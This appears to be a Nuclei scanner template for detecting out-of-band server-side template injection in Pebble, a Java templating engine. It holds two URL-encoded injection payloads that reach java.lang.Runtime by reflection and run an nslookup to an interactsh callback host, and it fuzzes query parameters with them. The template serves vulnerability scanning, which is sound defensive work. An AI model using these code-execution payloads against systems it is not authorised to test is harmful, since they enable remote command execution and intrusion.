pebble-oob: Pebble - Out of Band Template Injection

id: pebble-oob

info:
  name: Pebble - Out of Band Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#pebble---code-execution
  metadata:
    max-request: 1
  tags: ssti,dast,pebble,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "{%25%20set%20cmd%20=%20%27nslookup%20-type=SRV%20{{interactsh-url}}%27%20%25}{%25%20set%20bytes%20%3D%20(1).TYPE.forName(%27java.lang.Runtime%27).methods%5B6%5D.invoke(null,null).exec(cmd).inputStream.readAllBytes()%20%25}{{%20(1).TYPE.forName(%27java.lang.String%27).constructors%5B0%5D.newInstance((%5Bbytes%5D).toArray())%20}}"
        - "{{%20variable.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27nslookup%20-type=SRV%20{{interactsh-url}}%27)%20}}"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true
    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
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